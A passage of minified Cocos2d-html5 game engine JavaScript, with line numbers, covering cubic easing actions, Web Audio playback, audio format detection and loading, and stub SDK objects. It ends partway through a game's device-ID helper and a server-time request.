  1585. cc.ib.create = function(a) {
  1586. return new cc.ib(a)
  1587. };
  1588. cc.Ke = {
  1589. i: cc.ib.prototype.f,
  1590. reverse: function() {
  1591. return cc.Ke
  1592. }
  1593. };
  1594. cc.nm = function() {
  1595. return cc.Ke
  1596. };
  1597. cc.kb = cc.h.extend({
  1598. f: function(a) {
  1599. return a * a * a
  1600. },
  1601. update: function(a) {
  1602. this.d.update(this.f(a))
  1603. },
  1604. clone: function() {
  1605. var a = new cc.kb;
  1606. a.initWithAction(this.d.clone());
  1607. return a
  1608. },
  1609. reverse: function() {
  1610. return cc.kb.create(this.d.reverse())
  1611. }
  1612. });
  1613. cc.kb.create = function(a) {
  1614. return new cc.kb(a)
  1615. };
  1616. cc.Me = {
  1617. i: cc.kb.prototype.f,
  1618. reverse: function() {
  1619. return cc.Me
  1620. }
  1621. };
  1622. cc.pm = function() {
  1623. return cc.Me
  1624. };
  1625. cc.mb = cc.h.extend({
  1626. f: function(a) {
  1627. a -= 1;
  1628. return a * a * a + 1
  1629. },
  1630. update: function(a) {
  1631. this.d.update(this.f(a))
  1632. },
  1633. clone: function() {
  1634. var a = new cc.mb;
  1635. a.initWithAction(this.d.clone());
  1636. return a
  1637. },
  1638. reverse: function() {
  1639. return cc.mb.create(this.d.reverse())
  1640. }
  1641. });
  1642. cc.mb.create = function(a) {
  1643. return new cc.mb(a)
  1644. };
  1645. cc.Oe = {
  1646. i: cc.mb.prototype.f,
  1647. reverse: function() {
  1648. return cc.Oe
  1649. }
  1650. };
  1651. cc.rm = function() {
  1652. return cc.Oe
  1653. };
  1654. cc.lb = cc.h.extend({
  1655. f: function(a) {
  1656. a *= 2;
  1657. if (1 > a) return 0.5 * a * a * a;
  1658. a -= 2;
  1659. return 0.5 * (a * a * a + 2)
  1660. },
  1661. update: function(a) {
  1662. this.d.update(this.f(a))
  1663. },
  1664. clone: function() {
  1665. var a = new cc.lb;
  1666. a.initWithAction(this.d.clone());
  1667. return a
  1668. },
  1669. reverse: function() {
  1670. return cc.lb.create(this.d.reverse())
  1671. }
  1672. });
  1673. cc.lb.create = function(a) {
  1674. return new cc.lb(a)
  1675. };
  1676. cc.Ne = {
  1677. i: cc.lb.prototype.f,
  1678. reverse: function() {
  1679. return cc.Ne
  1680. }
  1681. };
  1682. cc.qm = function() {
  1683. return cc.Ne
  1684. };
  1685. if (cc.sys._supportWebAudio) {
  1686. var w = cc.Fr = new(window.AudioContext || window.webkitAudioContext || window.mozAudioContext);
  1687. cc.Zc = cc.Class.extend({
  1688. Wa: g,
  1689. Sa: g,
  1690. Da: g,
  1691. Md: g,
  1692. src: g,
  1693. preload: g,
  1694. autoplay: g,
  1695. controls: g,
  1696. pp: g,
  1697. currentTime: 0,
  1698. startTime: 0,
  1699. duration: 0,
  1700. rc: g,
  1701. Ld: 1,
  1702. yc: 0,
  1703. _paused: h,
  1704. Pb: e,
  1705. T: -1,
  1706. ctor: function(a) {
  1707. this.Wa = {};
  1708. this.src = a;
  1709. this.Md = w.createGain ? w.createGain() : w.createGainNode();
  1710. this.uh = this.th.bind(this);
  1711. this.sh = this.rh.bind(this)
  1712. },
  1713. zd: function(a) {
  1714. var b = this.Da = w.createBufferSource(),
  1715. c = this.Md;
  1716. a = a || 0;
  1717. b.buffer = this.Sa;
  1718. c.gain.value = this.Ld;
  1719. b.connect(c);
  1720. c.connect(w.destination);
  1721. b.loop = this.rc;
  1722. this.Pb = this._paused = h;
  1723. b.start ? b.start(0, a) : b.noteGrainOn ? (c = b.buffer.duration, this.loop ? b.noteGrainOn(0, a, c) : b.noteGrainOn(0, a, c - a)) : b.noteOn(0);
  1724. this.yc = 0
  1725. },
  1726. wf: function() {
  1727. var a = this.Da;
  1728. this.Pb || (a.stop ? a.stop(0) : a.noteOff(0), this.Pb = e)
  1729. },
  1730. play: function() {
  1731. if (-1 == this.T) this.T = 0;
  1732. else if (1 == this.T) {
  1733. var a = this.Da;
  1734. if (this.Pb || !(a && 2 == a.playbackState)) this.startTime = w.currentTime, this.zd(0)
  1735. }
  1736. },
  1737. pause: function() {
  1738. this.yc = w.currentTime;
  1739. this._paused = e;
  1740. this.wf()
  1741. },
  1742. resume: function() {
  1743. this._paused && this.zd(this.Sa ? (this.yc - this.startTime) % this.Sa.duration : 0)
  1744. },
  1745. stop: function() {
  1746. this.yc = 0;
  1747. this._paused = h;
  1748. this.wf()
  1749. },
  1750. load: function() {
  1751. var a = this;
  1752. if (1 != a.T) {
  1753. a.T = -1;
  1754. a.played = h;
  1755. a.ended = e;
  1756. var b = new XMLHttpRequest;
  1757. b.open("GET", a.src, e);
  1758. b.responseType = "arraybuffer";
  1759. b.onload = function() {
  1760. w.decodeAudioData(b.response, a.uh, a.sh)
  1761. };
  1762. b.send()
  1763. }
  1764. },
  1765. addEventListener: function(a, b) {
  1766. this.Wa[a] = b.bind(this)
  1767. },
  1768. removeEventListener: function(a) {
  1769. delete this.Wa[a]
  1770. },
  1771. Nl: function() {
  1772. return cc.sys._supportWebAudio
  1773. },
  1774. th: function(a) {
  1775. this.Sa = a;
  1776. a = this.Wa.success;
  1777. var b = this.Wa.canplaythrough;
  1778. a && a();
  1779. b && b();
  1780. (0 == this.T || "autoplay" == this.autoplay || this.autoplay == e) && this.zd();
  1781. this.T = 1
  1782. },
  1783. rh: function() {
  1784. var a = this.Wa.error;
  1785. a && a();
  1786. this.T = -2
  1787. },
  1788. cloneNode: function() {
  1789. var a = new cc.Zc(this.src);
  1790. a.volume = this.volume;
  1791. a.T = this.T;
  1792. a.Sa = this.Sa;
  1793. (0 == a.T || -1 == a.T) && a.load();
  1794. return a
  1795. }
  1796. });
  1797. t = cc.Zc.prototype;
  1798. cc.defineGetterSetter(t, "loop", p("rc"), function(a) {
  1799. this.rc = a;
  1800. this.Da && (this.Da.loop = a)
  1801. });
  1802. cc.defineGetterSetter(t, "volume", p("Ld"), function(a) {
  1803. this.Ld = a;
  1804. this.Md.gain.value = a
  1805. });
  1806. cc.defineGetterSetter(t, "paused", p("_paused"));
  1807. cc.defineGetterSetter(t, "ended", function() {
  1808. var a = this.Da;
  1809. return !this._paused && (this.Pb || !a || 3 == a.playbackState)
  1810. });
  1811. cc.defineGetterSetter(t, "played", function() {
  1812. var a = this.Da;
  1813. return a && 2 == a.playbackState
  1814. })
  1815. }
  1816. cc.ke = cc.Class.extend({
  1817. Gd: h,
  1818. A: g,
  1819. jc: g,
  1820. J: 0,
  1821. xe: 0,
  1822. C: {},
  1823. Bb: {},
  1824. oc: 1,
  1825. wd: 5,
  1826. ja: g,
  1827. Kb: [],
  1828. ctor: function() {
  1829. this.Gd = 0 < cc.$c.Dc.length;
  1830. this.ja && (this.ja = this.ja.bind(this))
  1831. },
  1832. Gr: q(h),
  1833. cn: p("oc"),
  1834. Lc: function(a, b) {
  1835. if (this.Gd) {
  1836. var c = this.A;
  1837. c && this.oa(c);
  1838. a != this.jc && (this.A = c = this.kd(a), this.jc = a);
  1839. c && (c.loop = b || h, this.Za(c))
  1840. }
  1841. },
  1842. kd: function(a) {
  1843. var b = cc.loader,
  1844. c = b.getRes(a);
  1845. c || (b.load(a), c = b.getRes(a));
  1846. return c
  1847. },
  1848. Za: function(a) {
  1849. a.ended || (a.stop ? a.stop() : (a.pause(), a.currentTime = 0));
  1850. this.J = 2;
  1851. a.play()
  1852. },
  1853. eb: function(a) {
  1854. if (0 < this.J) {
  1855. var b = this.A;
  1856. b && this.oa(b) && (a && cc.loader.release(this.jc), this.jc = this.A = g, this.J = 0)
  1857. }
  1858. },
  1859. oa: function(a) {
  1860. return a && !a.ended ? (a.stop ? a.stop() : a.duration && Infinity != a.duration ? a.currentTime = a.duration : a.pause(), e) : h
  1861. },
  1862. Qf: function() {
  1863. 2 == this.J && (this.A.pause(), this.J = 1)
  1864. },
  1865. Nj: function() {
  1866. 1 == this.J && (this.ha(this.A), this.J = 2)
  1867. },
  1868. ha: function(a) {
  1869. a && !a.ended && (a.resume ? a.resume() : a.play())
  1870. },
  1871. Yp: function() {
  1872. this.A && this.Za(this.A)
  1873. },
  1874. Df: function() {
  1875. return 0 == this.J ? 0 : this.A.volume
  1876. },
  1877. Pc: function(a) {
  1878. 0 < this.J && (this.A.volume = Math.min(Math.max(a, 0), 1))
  1879. },
  1880. Wd: function() {
  1881. return 2 == this.J && this.A && !this.A.ended
  1882. },
  1883. ld: function(a) {
  1884. var b = this.Bb[a];
  1885. b || (b = this.Bb[a] = []);
  1886. return b
  1887. },
  1888. gf: function(a) {
  1889. var b;
  1890. if (!this.Gd) return g;
  1891. for (var c = this.ld(a), d = 0, f = c.length; d < f; d++) {
  1892. var l = c[d];
  1893. if (l.ended) {
  1894. b = l;
  1895. b.currentTime = 0;
  1896. window.Ql && b.load();
  1897. break
  1898. }
  1899. }
  1900. if (!b) {
  1901. if (c.length >= this.wd) return cc.log("Error: " + a + " greater than " + this.wd), g;
  1902. b = this.kd(a);
  1903. if (!b) return g;
  1904. b = b.cloneNode(e);
  1905. this.ja && cc._addEventListener(b, "pause", this.ja);
  1906. b.volume = this.oc;
  1907. c.push(b)
  1908. }
  1909. return b
  1910. },
  1911. da: function(a, b) {
  1912. var c = this.gf(a);
  1913. if (!c) return g;
  1914. c.loop = b || h;
  1915. c.play();
  1916. var d = this.xe++;
  1917. this.C[d] = c;
  1918. return d
  1919. },
  1920. Zf: function(a) {
  1921. a = this.oc = Math.min(Math.max(a, 0), 1);
  1922. var b = this.C,
  1923. c;
  1924. for (c in b) b[c].volume = a
  1925. },
  1926. sj: function(a) {
  1927. (a = this.C[a]) && !a.ended && a.pause()
  1928. },
  1929. rj: function() {
  1930. var a = this.C,
  1931. b;
  1932. for (b in a) {
  1933. var c = a[b];
  1934. c.ended || c.pause()
  1935. }
  1936. },
  1937. Mj: function(a) {
  1938. this.ha(this.C[a])
  1939. },
  1940. Lj: function() {
  1941. var a = this.C,
  1942. b;
  1943. for (b in a) this.ha(a[b])
  1944. },
  1945. Tc: function(a) {
  1946. this.oa(this.C[a]);
  1947. delete this.C[a]
  1948. },
  1949. Vb: function() {
  1950. var a = this.C,
  1951. b;
  1952. for (b in a) this.oa(a[b]), delete a[b]
  1953. },
  1954. jk: function(a) {
  1955. var b = cc.loader,
  1956. c = this.C,
  1957. d = this.ld(a);
  1958. b.release(a);
  1959. if (0 != d.length) {
  1960. b = d[0].src;
  1961. delete this.Bb[a];
  1962. for (var f in c) c[f].src == b && (this.oa(c[f]), delete c[f])
  1963. }
  1964. },
  1965. end: function() {
  1966. this.eb();
  1967. this.Vb()
  1968. },
  1969. rf: function() {
  1970. var a = this.C,
  1971. b, c;
  1972. for (c in a) if ((b = a[c]) && !b.ended && !b.paused) this.Kb.push(b), b.pause();
  1973. this.Wd() && (this.Kb.push(this.A), this.A.pause())
  1974. },
  1975. sf: function() {
  1976. for (var a = this.Kb, b = 0, c = a.length; b < c; b++) this.ha(a[b]);
  1977. a.length = 0
  1978. }
  1979. });
  1980. !cc.sys._supportWebAudio && 0 > cc.sys._supportMultipleAudio && (cc.le = cc.ke.extend({
  1981. ra: [],
  1982. Jb: [],
  1983. N: g,
  1984. wd: 2,
  1985. nc: {},
  1986. Ba: h,
  1987. Xa: 0,
  1988. rd: h,
  1989. Za: function(a) {
  1990. this.Jd();
  1991. this._super(a)
  1992. },
  1993. Nj: function() {
  1994. 1 == this.J && (this.Jd(), this.Ba = h, this.Xa = 0, this._super())
  1995. },
  1996. da: function(a, b) {
  1997. var c = this.N,
  1998. d = b ? this.gf(a) : this.kh(a);
  1999. if (!d) return g;
  2000. d.loop = b || h;
  2001. var f = this.xe++;
  2002. this.C[f] = d;
  2003. this.Wd() && (this.Qf(), this.Ba = e);
  2004. c ? (c != d && this.ra.push(this.Ua), this.ra.push(f), c.pause()) : (this.N = d, this.Ua = f, d.play());
  2005. return f
  2006. },
  2007. sj: function() {
  2008. cc.log("pauseEffect not supported in single audio mode!")
  2009. },
  2010. rj: function() {
  2011. var a = this.ra,
  2012. b = this.Jb,
  2013. c = this.N;
  2014. if (c) {
  2015. for (var d = 0, f = a.length; d < f; d++) b.push(a[d]);
  2016. a.length = 0;
  2017. b.push(this.Ua);
  2018. c.pause()
  2019. }
  2020. },
  2021. Mj: function() {
  2022. cc.log("resumeEffect not supported in single audio mode!")
  2023. },
  2024. Lj: function() {
  2025. var a = this.ra,
  2026. b = this.Jb;
  2027. this.Wd() && (this.Qf(), this.Ba = e);
  2028. for (var c = 0, d = b.length; c < d; c++) a.push(b[c]);
  2029. b.length = 0;
  2030. if (!this.N && 0 <= a.length && (a = a.pop(), b = this.C[a])) this.Ua = a, this.N = b, this.ha(b)
  2031. },
  2032. Tc: function(a) {
  2033. var b = this.N,
  2034. c = this.ra,
  2035. d = this.Jb;
  2036. b && this.Ua == a ? this.oa(b) : (b = c.indexOf(a), 0 <= b ? c.splice(b, 1) : (b = d.indexOf(a), 0 <= b && d.splice(b, 1)))
  2037. },
  2038. Vb: function() {
  2039. this.Jd();
  2040. !this.N && this.Ba && (this.ha(this.A), this.J = 2, this.Ba = h, this.Xa = 0)
  2041. },
  2042. jk: function(a) {
  2043. var b = cc.loader,
  2044. c = this.C,
  2045. d = this.nc,
  2046. f = this.ld(a),
  2047. l = this.N;
  2048. b.release(a);
  2049. if (0 != f.length || d[a]) {
  2050. b = 0 < f.length ? f[0].src : d[a].src;
  2051. delete this.Bb[a];
  2052. delete d[a];
  2053. for (var m in c) c[m].src == b && delete c[m];
  2054. l && l.src == b && this.oa(l)
  2055. }
  2056. },
  2057. kh: function(a) {
  2058. var b = this.nc[a],
  2059. c = this.ra,
  2060. d = this.Jb,
  2061. f = this.C;
  2062. if (b) b.currentTime = 0;
  2063. else {
  2064. b = this.kd(a);
  2065. if (!b) return g;
  2066. b = b.cloneNode(e);
  2067. this.ja && cc._addEventListener(b, "pause", this.ja);
  2068. b.volume = this.oc;
  2069. this.nc[a] = b
  2070. }
  2071. a = 0;
  2072. for (var l = c.length; a < l;) f[c[a]] == b ? c.splice(a, 1) : a++;
  2073. a = 0;
  2074. for (l = d.length; a < l;) f[d[a]] == b ? d.splice(a, 1) : a++;
  2075. b.Fb = e;
  2076. return b
  2077. },
  2078. Jd: function() {
  2079. var a = this.N,
  2080. b = this.Bb,
  2081. c = this.nc,
  2082. d = this.ra,
  2083. f = this.Jb;
  2084. if (a || !(0 == d.length && 0 == f.length)) {
  2085. for (var l in c) {
  2086. var m = c[l];
  2087. m.duration && Infinity != m.duration && (m.currentTime = m.duration)
  2088. }
  2089. d.length = 0;
  2090. f.length = 0;
  2091. for (l in b) {
  2092. c = b[l];
  2093. d = 0;
  2094. for (f = c.length; d < f; d++) m = c[d], m.loop = h, m.duration && Infinity != m.duration && (m.currentTime = m.duration)
  2095. }
  2096. a && this.oa(a)
  2097. }
  2098. },
  2099. ja: function() {
  2100. if (!this.rd) {
  2101. var a = this.lh();
  2102. if (a) a.Fb ? (delete a.Fb, a.play()) : this.ha(a);
  2103. else if (this.Ba) {
  2104. a = this.A;
  2105. if (a.duration && Infinity != a.duration) {
  2106. var b = a.currentTime + this.Xa,
  2107. b = b - a.duration * (b / a.duration | 0);
  2108. a.currentTime = b
  2109. }
  2110. this.Xa = 0;
  2111. this.ha(a);
  2112. this.J = 2;
  2113. this.Ba = h
  2114. }
  2115. }
  2116. },
  2117. lh: function() {
  2118. var a = this.ra,
  2119. b = this.C,
  2120. c = this.N,
  2121. d = c ? c.currentTime - (c.startTime || 0) : 0;
  2122. for (this.Xa += d; 0 != a.length;) {
  2123. var f = a.pop();
  2124. if (c = b[f]) {
  2125. if (c.Fb || c.loop || c.duration && c.currentTime + d < c.duration) return this.Ua = f, this.N = c, !c.Fb && (c.duration && Infinity != c.duration) && (a = c.currentTime + d, a -= c.duration * (a / c.duration | 0), c.currentTime = a), c.Fb = h, c;
  2126. c.duration && Infinity != c.duration && (c.currentTime = c.duration)
  2127. }
  2128. }
  2129. return this.N = this.Ua = g
  2130. },
  2131. rf: function() {
  2132. var a = this.N;
  2133. this.rd = e;
  2134. if (a = 2 == this.J ? this.A : a) this.Kb.push(a), a.pause()
  2135. },
  2136. sf: function() {
  2137. var a = this.Kb;
  2138. this.rd = h;
  2139. 0 < a.length && (this.ha(a[0]), a.length = 0)
  2140. }
  2141. }));
  2142. cc.$c = {
  2143. Dc: g,
  2144. Qm: function() {
  2145. return cc.loader.audioPath
  2146. },
  2147. vd: function(a, b, c, d, f, l, m) {
  2148. var r = this,
  2149. s = cc.loader,
  2150. u = cc.path,
  2151. v = this.Dc,
  2152. z = "";
  2153. if (0 == v.length) return m("can not support audio!");
  2154. if (-1 == d) z = (u.extname(a) || "").toLowerCase(), r.Mh(z) || (z = v[0], d = 0);
  2155. else if (d < v.length) z = v[d];
  2156. else return m("can not found the resource of audio! Last match url is : " + a);
  2157. if (0 <= f.indexOf(z)) return r.vd(a, b, c, d + 1, f, l, m);
  2158. a = u.changeExtname(a, z);
  2159. f.push(z);
  2160. l = r.qh(a, l, function(s) {
  2161. if (s) return r.vd(a, b, c, d + 1, f, l, m);
  2162. m(g, l)
  2163. }, d == v.length - 1);
  2164. s.cache[b] = l
  2165. },
  2166. Mh: function(a) {
  2167. return !a ? h : 0 <= this.Dc.indexOf(a.toLowerCase())
  2168. },
  2169. qh: function(a, b, c, d) {
  2170. var f = "file://" == location.origin ? Audio : cc.Zc || Audio;
  2171. 2 == arguments.length ? (c = b, b = new f) : 3 < arguments.length && !b && (b = new f);
  2172. b.src = a;
  2173. b.preload = "auto";
  2174. f = navigator.userAgent;
  2175. /Mobile/.test(f) && (/iPhone OS/.test(f) || /iPad/.test(f) || /Firefox/.test(f)) || /MSIE/.test(f) ? (b.load(), c(g, b)) : (cc._addEventListener(b, "canplaythrough", function() {
  2176. c(g, b);
  2177. this.removeEventListener("canplaythrough", arguments.callee, h);
  2178. this.removeEventListener("error", arguments.callee, h)
  2179. }, h), cc._addEventListener(b, "error", function() {
  2180. c("load " + a + " failed");
  2181. d && (this.removeEventListener("canplaythrough", arguments.callee, h), this.removeEventListener("error", arguments.callee, h))
  2182. }, h), b.load());
  2183. return b
  2184. },
  2185. load: function(a, b, c, d) {
  2186. this.vd(a, b, c, -1, [], g, d)
  2187. }
  2188. };
  2189. cc.$c.Dc = function() {
  2190. var a = cc.newElement("audio"),
  2191. b = [];
  2192. if (a.canPlayType) {
  2193. var c = function(b) {
  2194. b = a.canPlayType(b);
  2195. return "no" != b && "" != b
  2196. };
  2197. c('audio/ogg; codecs="vorbis"') && b.push(".ogg");
  2198. c("audio/mpeg") && b.push(".mp3");
  2199. c('audio/wav; codecs="1"') && b.push(".wav");
  2200. c("audio/mp4") && b.push(".mp4");
  2201. (c("audio/x-m4a") || c("audio/aac")) && b.push(".m4a")
  2202. }
  2203. return b
  2204. }();
  2205. cc.loader.register(["mp3", "ogg", "wav", "mp4", "m4a"], cc.$c);
  2206. cc.L = cc.le ? new cc.le : new cc.ke;
  2207. cc.eventManager.addCustomListener(cc.game.EVENT_HIDE, function() {
  2208. cc.L.rf()
  2209. });
  2210. cc.eventManager.addCustomListener(cc.game.EVENT_SHOW, function() {
  2211. cc.L.sf()
  2212. });
  2213. var x = x || {};
  2214. x.xa = {
  2215. qp: k(),
  2216. op: function() {
  2217. return this
  2218. },
  2219. Fp: k(),
  2220. Vl: function() {
  2221. return this
  2222. },
  2223. Mq: k(),
  2224. an: function() {
  2225. return this
  2226. },
  2227. sl: function() {
  2228. return this
  2229. },
  2230. qi: function() {
  2231. return this
  2232. },
  2233. Pp: k(),
  2234. Ul: k(),
  2235. Pn: function() {
  2236. return this
  2237. },
  2238. Gi: function() {
  2239. return this
  2240. },
  2241. no: function() {
  2242. return this
  2243. },
  2244. Ar: function() {
  2245. return this
  2246. },
  2247. Pm: function() {
  2248. return this
  2249. },
  2250. qn: function() {
  2251. return this
  2252. },
  2253. Ll: function() {
  2254. return this
  2255. },
  2256. np: function() {
  2257. return this
  2258. },
  2259. $m: function() {
  2260. return this
  2261. },
  2262. jp: k(),
  2263. Rl: function() {
  2264. return this
  2265. },
  2266. ro: function() {
  2267. return this
  2268. },
  2269. er: k(),
  2270. bn: function() {
  2271. return this
  2272. }
  2273. };
  2274. x.Wk = {
  2275. B: k(),
  2276. init: function() {
  2277. return this
  2278. },
  2279. Ml: k(),
  2280. bq: k(),
  2281. l: function() {
  2282. return this
  2283. },
  2284. Ck: k()
  2285. };
  2286. x.tl = {
  2287. ji: k(),
  2288. pi: function() {
  2289. return this
  2290. },
  2291. Ph: k(),
  2292. Jm: k(),
  2293. ip: k(),
  2294. ni: function() {
  2295. return this
  2296. },
  2297. pq: k(),
  2298. init: function() {
  2299. return this
  2300. },
  2301. Vq: k(),
  2302. fk: k(),
  2303. hn: function() {
  2304. return this
  2305. },
  2306. kp: k(),
  2307. B: k(),
  2308. li: function() {
  2309. return this
  2310. },
  2311. gr: k(),
  2312. Km: k(),
  2313. lp: k(),
  2314. fj: function() {
  2315. return this
  2316. },
  2317. l: function() {
  2318. return this
  2319. },
  2320. Qk: k()
  2321. };
  2322. x.pl = {
  2323. Gq: k(),
  2324. wr: k(),
  2325. qr: k(),
  2326. Ia: k(),
  2327. vr: k(),
  2328. fk: k(),
  2329. sr: k(),
  2330. jq: k(),
  2331. fj: function() {
  2332. return this
  2333. },
  2334. xr: k(),
  2335. pi: function() {
  2336. return this
  2337. },
  2338. Zj: k(),
  2339. init: function() {
  2340. return this
  2341. },
  2342. B: k(),
  2343. pr: k(),
  2344. tr: k(),
  2345. ni: function() {
  2346. return this
  2347. },
  2348. kq: k(),
  2349. rr: k(),
  2350. yr: k(),
  2351. li: function() {
  2352. return this
  2353. },
  2354. ur: k(),
  2355. l: function() {
  2356. return this
  2357. },
  2358. Pk: k()
  2359. };
  2360. x.X = {
  2361. Dj: k(),
  2362. cr: k(),
  2363. $q: k(),
  2364. br: k(),
  2365. init: function() {
  2366. return this
  2367. },
  2368. Ep: k(),
  2369. B: k(),
  2370. l: function() {
  2371. return this
  2372. },
  2373. Lk: k()
  2374. };
  2375. x.kl = {
  2376. B: k(),
  2377. init: function() {
  2378. return this
  2379. },
  2380. Dj: k(),
  2381. l: function() {
  2382. return this
  2383. },
  2384. Mk: k()
  2385. };
  2386. x.tk = {
  2387. lr: k(),
  2388. create: function() {
  2389. return this
  2390. },
  2391. yk: k()
  2392. };
  2393. x.ll = {
  2394. io: k(),
  2395. Sb: function() {
  2396. return this
  2397. },
  2398. ho: k(),
  2399. ko: function() {
  2400. return this
  2401. },
  2402. oj: k(),
  2403. Lp: k(),
  2404. Nk: k()
  2405. };
  2406. x.ml = {
  2407. Sb: function() {
  2408. return this
  2409. },
  2410. l: function() {
  2411. return this
  2412. }
  2413. };
  2414. x.nl = {
  2415. hq: k(),
  2416. Sb: function() {
  2417. return this
  2418. },
  2419. Zm: function() {
  2420. return this
  2421. },
  2422. l: function() {
  2423. return this
  2424. }
  2425. };
  2426. x.ol = {
  2427. Sb: function() {
  2428. return this
  2429. },
  2430. l: function() {
  2431. return this
  2432. }
  2433. };
  2434. x.qg = {
  2435. dm: function() {
  2436. return this
  2437. },
  2438. init: function() {
  2439. return this
  2440. },
  2441. qq: k(),
  2442. nj: function() {
  2443. return this
  2444. },
  2445. B: k(),
  2446. l: function() {
  2447. return this
  2448. },
  2449. zk: k()
  2450. };
  2451. x.gl = {
  2452. ji: k(),
  2453. Cq: k(),
  2454. zn: function() {
  2455. return this
  2456. },
  2457. rq: k(),
  2458. Wp: k(),
  2459. Dn: function() {
  2460. return this
  2461. },
  2462. Mp: k(),
  2463. Tn: function() {
  2464. return this
  2465. },
  2466. nq: k(),
  2467. dq: k(),
  2468. Fl: k(),
  2469. init: function() {
  2470. return this
  2471. },
  2472. Vn: function() {
  2473. return this
  2474. },
  2475. Fq: k(),
  2476. Jq: k(),
  2477. yn: function() {
  2478. return this
  2479. },
  2480. $n: function() {
  2481. return this
  2482. },
  2483. Oq: k(),
  2484. Zn: function() {
  2485. return this
  2486. },
  2487. fr: k(),
  2488. Xq: k(),
  2489. Hn: function() {
  2490. return this
  2491. },
  2492. uq: k(),
  2493. zr: k(),
  2494. Hm: k(),
  2495. fn: function() {
  2496. return this
  2497. },
  2498. Il: k(),
  2499. vp: k(),
  2500. Wq: k(),
  2501. Eq: k(),
  2502. Hl: k(),
  2503. mq: k(),
  2504. kn: function() {
  2505. return this
  2506. },
  2507. lo: function() {
  2508. return this
  2509. },
  2510. Un: function() {
  2511. return this
  2512. },
  2513. An: function() {
  2514. return this
  2515. },
  2516. nn: function() {
  2517. return this
  2518. },
  2519. oj: k(),
  2520. Ik: k()
  2521. };
  2522. x.fl = {
  2523. Dq: k(),
  2524. l: function() {
  2525. return this
  2526. }
  2527. };
  2528. x.ue = {
  2529. Vb: k(),
  2530. hk: k(),
  2531. Xj: k(),
  2532. Pc: k(),
  2533. de: k(),
  2534. Tc: k(),
  2535. ri: function() {
  2536. return this
  2537. },
  2538. zj: function() {
  2539. return this
  2540. },
  2541. Df: function() {
  2542. return this
  2543. },
  2544. eb: k(),
  2545. dump: k(),
  2546. ti: function() {
  2547. return this
  2548. },
  2549. ce: k(),
  2550. Lc: k(),
  2551. Yj: k(),
  2552. xj: k(),
  2553. B: k(),
  2554. si: function() {
  2555. return this
  2556. },
  2557. Rh: k(),
  2558. da: function() {
  2559. return this
  2560. },
  2561. Ih: k(),
  2562. gk: k(),
  2563. init: function() {
  2564. return this
  2565. },
  2566. Td: function() {
  2567. return this
  2568. },
  2569. l: function() {
  2570. return this
  2571. },
  2572. Ok: k()
  2573. };
  2574. x.sk = {
  2575. B: k(),
  2576. init: function() {
  2577. return this
  2578. },
  2579. dr: k(),
  2580. Ub: k(),
  2581. l: function() {
  2582. return this
  2583. },
  2584. xk: k()
  2585. };
  2586. x.Xk = {
  2587. Ub: k(),
  2588. Sc: k(),
  2589. Hc: k()
  2590. };
  2591. x.Yk = {
  2592. Hc: k(),
  2593. init: function() {
  2594. return this
  2595. },
  2596. Sc: k(),
  2597. B: k(),
  2598. Ub: k(),
  2599. l: function() {
  2600. return this
  2601. },
  2602. Dk: k()
  2603. };
  2604. x.Zk = {
  2605. Hc: k(),
  2606. init: function() {
  2607. return this
  2608. },
  2609. Sc: k(),
  2610. B: k(),
  2611. Ub: k(),
  2612. l: function() {
  2613. return this
  2614. },
  2615. Ek: k()
  2616. };
  2617. x.al = {
  2618. Hc: k(),
  2619. init: function() {
  2620. return this
  2621. },
  2622. Sc: k(),
  2623. B: k(),
  2624. Ub: k(),
  2625. l: function() {
  2626. return this
  2627. },
  2628. Gk: k()
  2629. };
  2630. x.$k = {
  2631. Hc: k(),
  2632. init: function() {
  2633. return this
  2634. },
  2635. Sc: k(),
  2636. B: k(),
  2637. Ub: k(),
  2638. l: function() {
  2639. return this
  2640. },
  2641. Fk: k()
  2642. };
  2643. x.Rk = {
  2644. $j: k(),
  2645. Cr: k(),
  2646. Iq: k(),
  2647. init: function() {
  2648. return this
  2649. },
  2650. B: k(),
  2651. l: function() {
  2652. return this
  2653. },
  2654. Ak: k()
  2655. };
  2656. x.fa = {
  2657. Bn: function() {
  2658. return this
  2659. },
  2660. xq: k(),
  2661. gn: function() {
  2662. return this
  2663. },
  2664. oq: k(),
  2665. Qp: k(),
  2666. un: function() {
  2667. return this
  2668. },
  2669. Qq: k(),
  2670. sn: function() {
  2671. return this
  2672. },
  2673. Hq: k(),
  2674. Zj: k(),
  2675. init: function() {
  2676. return this
  2677. },
  2678. En: function() {
  2679. return this
  2680. },
  2681. B: k(),
  2682. Cn: function() {
  2683. return this
  2684. },
  2685. yq: k(),
  2686. Ap: k(),
  2687. Kn: function() {
  2688. return this
  2689. },
  2690. zq: k(),
  2691. Vp: k(),
  2692. pn: function() {
  2693. return this
  2694. },
  2695. Kq: k(),
  2696. tn: function() {
  2697. return this
  2698. },
  2699. vq: k(),
  2700. Aq: k(),
  2701. Jl: k(),
  2702. l: function() {
  2703. return this
  2704. },
  2705. Hk: k()
  2706. };
  2707. x.Yc = {
  2708. hg: k(),
  2709. Tq: k(),
  2710. On: function() {
  2711. return this
  2712. },
  2713. Ph: k(),
  2714. sq: k(),
  2715. Mn: function() {
  2716. return this
  2717. },
  2718. Pq: k(),
  2719. Sq: k(),
  2720. In: function() {
  2721. return this
  2722. },
  2723. init: function() {
  2724. return this
  2725. },
  2726. hr: k(),
  2727. ln: function() {
  2728. return this
  2729. },
  2730. B: k(),
  2731. Sn: function() {
  2732. return this
  2733. },
  2734. Wm: function() {
  2735. return this
  2736. },
  2737. ig: k(),
  2738. l: function() {
  2739. return this
  2740. },
  2741. Kk: k()
  2742. };
  2743. x.hl = {
  2744. $j: k(),
  2745. cq: k(),
  2746. init: function() {
  2747. return this
  2748. },
  2749. B: k(),
  2750. l: function() {
  2751. return this
  2752. },
  2753. Jk: k()
  2754. };
  2755. x.Uk = {
  2756. eo: k(),
  2757. eq: k(),
  2758. show: k(),
  2759. isEnabled: function() {
  2760. return this
  2761. },
  2762. em: k(),
  2763. oo: function() {
  2764. return this
  2765. },
  2766. init: function() {
  2767. return this
  2768. },
  2769. B: k(),
  2770. l: function() {
  2771. return this
  2772. },
  2773. Bk: k()
  2774. };
  2775. x.xa.qi = function() {
  2776. var a = cc.sys.localStorage.getItem("device_id");
  2777. if (a) return a;
  2778. a = x.Hi();
  2779. cc.sys.localStorage.setItem("device_id", a);
  2780. return a
  2781. };
  2782. x.xa.Gi = function() {
  2783. return Math.ceil((new Date).getTime() / 1E3)
  2784. };
  2785. x.xa.Zh = function() {
  2786. return (new Date).getTime()
  2787. };
  2788. x.xa.Ln = function(a) {
  2789. x.w.get("http://week.pictoword.hortorgame.com/week/serverTime", function(b, c) {
